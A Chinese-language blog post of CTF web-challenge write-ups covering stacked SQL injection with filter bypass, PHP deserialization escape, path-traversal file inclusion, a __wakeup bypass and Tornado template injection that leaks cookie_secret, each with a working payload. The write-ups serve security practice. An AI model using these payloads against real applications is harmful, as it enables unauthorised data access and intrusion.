一些CTF练习记录

1. [2018强网杯]随便注

测试闭合1' or '1'='1'--+
在select 等关键字被过滤后,配合堆叠注入加上字符串预定义利用char函数构造预定义语句,绕过过滤。

?inject=2';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqll FROM @sql;EXECUTE sqll; --+

注意:windows下mysql引用表名时候用反勾号

2.[2019安洵杯]简单serialze

首先源码提示,phpinfo中可能有东西,那么我们打开看一下~~

发现隐式包含了个php文件,再看源码最后一行有个读取文件的操作,但需要我们控制'img'参数’改为我们要打开的文件,往上回溯看到有个extract函数可以修改键值对,然后将数值base64编码之后序列化,再经过一个过滤函数,再反序列化回来。但是,一组数据在传输过程中被改变了数值就很可能会出现问题。这里就会造成反序列化的对象逃逸问题。
举个例子:

$aa['flagphp']=';s:14:"phpflagphpflag";s:7:"1234567";s:3:"img";s:20:"
ZDBnM19mMWFnLnBocA==";}';

上面这个数组正常序列化后是

a:1:{s:7:"flagphp";s:72:";s:14:"phpflagphpflag";s:7:"1234567";s:3:"img";s:20:"
ZDBnM19mMWFnLnBocA==";}";}

但经过过滤函数之后变成这样

a:2:{s:7:"";s:72:";s:14:"";s:7:"1234567";s:3:"img";s:20:"
ZDBnM19mMWFnLnBocA==";}";}

可以看到之前的键名被过滤置空了,这就导致后面的";s:72:被当成了键名。
放到题目里面来因为题目源码里面也对$_SESSION['img']定义了数值,但它在extract函数的后面所以序列化后就变成了这样

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"
ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

同样的原理将";s:48:吞掉构造完整数组
所以最后payload:获取flag

_SESSION[flagphp]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

3.[攻防世界] web进阶区4

一进来只有这个页面有不同,猜测突破口就是这里了。

看题目说只有一处留下了入侵者的痕迹,这里id又等于1

测试了没有sql注入后就尝试爆破id数值,用burp

先生成字典就用4位纯数字


可看到当id为2333时,返回数据有不同,一测试果然是

4.[HCTF2018] warmup

一进来就是个滑稽图片~,查看源码发现有提示source.php,打开一看有php源码,阅读源码发现还有个hint.php,打开是告诉flag在ffffllllaaaagggg文件。继续阅读源码,首先判断file传入参数是否为空,是否为字符串,是否通过过滤函数,都满足就包含对应文件

 if (! empty($_REQUEST['file']) //file参数不为空
        && is_string($_REQUEST['file']) //是字符串
        && emmm::checkFile($_REQUEST['file']) //通过过滤函数
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

接着审计checkFile函数

class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

可以看到首先是创建一个白名单数组,然后有几个判断条件:

  1. 判断传入参数是否存在和是否是字符串
  2. 再判断是否是白名单里的内容
  3. 再截取第一个?前的内容判断是否在白名单里存在
  4. 进行一次url解码后再截取第一个?前的内容,判断是否在白名单里存在
    都满足后返回true,[这里要注意代码中的$page$_page的区别]。?后的部分被当做用get提交的参数,还需要自己加../来测试ffffllllaaaagggg的位置
    payload:source.php?file=source.php?../../../../../../ffffllllaaaagggg

5.攻防世界 unserialize3


一进来就是源码,那就代码审计,看到wakeup()构造函数是反序列化之前用到的,但是这里会直接终止脚本,所以我们是先应该绕过他
直接构造payload:O:4:"xctf":3:{s:6:"flag";s:3:"111";}

6. [SUCTF 2019]EasySQL

一进来是个输入框,根据题目提示应该是SQL注入,有四种情况
1.输入包含and or等关键字就会回显nonoon

2.空白回显
3.输入数字回显数组
4.当输入数字过长回显too long

最后尝试堆叠注入 1;show tables;

发现存在表flag,之后尝试无果。百度才知原题是有源码泄露的,这环境没有......
拿到源码后发现是黑名单过滤,最重要的一句
$sql = "select ".$post['query']."||flag from Flag";
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能

1;set sql_mode=PIPES_AS_CONCAT;select 1


传入参数得到flag,即组成的查询语句为:

select ,1;1||flag from Flag

因为没有过滤*所以有个非预期解

*,1

传入参数得到flag,即组成的查询语句为:

select *,1||flag from Flag

7. [护网杯 2018]easy_tornado

一进来就是三个提示页面最关键的是

让我们将cookie_secret和md5加密后的/fllllllllllllag合起来再进行一次md5加密,现在就是如何找到cookie_secret的值
结合题目的tornado 还有第二个welcome.txt的render都是有关服务器模板渲染的词,觉得应该和服务器模板注入有关,然后开始尝试
测试发现只要输入网址有点偏差就会跳转到error的页面,输入{{9*9}}测试一下,返回ORZ

输入{{9/9}},{{9+9}},{{9-9}}回显都一样,最后再测试{{9^9}}发现回显为0,这就确定了有模板注入,之前哪些应该都是被过滤了

fuzz了一下过滤了这些"%'()*-/=[\]_|现在目的是要找出cookie_secret的值这应该是tornado框架里的一个值现在又很多东西被过滤了,思路到这里就停了,看了一下别人的wp
首先找tornado框架源码发现cookie_secret 是handler.application.settings 的键值
再看官方文档

明确写着 handler 对应的就是 RequestHandler,那么也就是说,我们可以使用 handler 调用 RequestHandler 的方法
继续在文档里搜索RequestHandler
看到 RequestHandler.settings 是 self.application.settings的别名,这就是我们之前寻找的handler.application.settings,也就是说我们能直接通过 handler.settings 访问到我们朝思暮想的 cookie_secret 
payload:error?msg={{handler.settings}}

再通过在线或者python脚本将cookie_secret和md5加密后的/fllllllllllllag合起来再进行一次md5加密

将得到的值放到filehash后
payload:/file?filename=/fllllllllllllag&filehash=cb6bfd6c317f6f062cb8cc107af7d5e8

posted @ 2020-05-07 16:58  Lushun  阅读(566)  评论(0编辑  收藏  举报